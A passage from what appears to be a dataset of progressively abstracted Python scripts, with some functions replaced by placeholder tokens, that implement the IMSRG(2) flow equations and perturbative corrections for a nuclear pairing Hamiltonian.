+ dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i 